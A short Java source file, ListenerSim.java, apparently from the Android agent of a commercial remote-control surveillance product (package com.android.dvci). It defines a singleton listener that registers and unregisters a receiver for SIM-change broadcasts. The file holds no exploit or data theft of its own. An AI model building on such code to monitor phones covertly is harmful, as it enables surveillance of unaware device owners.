/* *******************************************
* Copyright (c) 2011
* HT srl, All rights reserved.
* Project : RCS, AndroidService
* File : ListenerSim.java
* Created : 6-mag-2011
* Author : zeno
* *******************************************/
package com.android.dvci.listener;
import com.android.dvci.Sim;
public class ListenerSim extends Listener<Sim> {
/** The Constant TAG. */
private static final String TAG = "ListenerSim"; //$NON-NLS-1$
private BroadcastMonitorSim simReceiver;
/** The singleton. */
private volatile static ListenerSim singleton;
/**
* Self.
*
* @return the status
*/
public static ListenerSim self() {
if (singleton == null) {
synchronized (ListenerSim.class) {
if (singleton == null) {
singleton = new ListenerSim();
}
}
}
return singleton;
}
@Override
protected void start() {
registerSim();
}
@Override
protected void stop() {
simReceiver.unregister();
}
/**
* Register to Network Connection/Disconnection notification.
*/
private void registerSim() {
simReceiver = new BroadcastMonitorSim();
simReceiver.start();
simReceiver.register();
}
}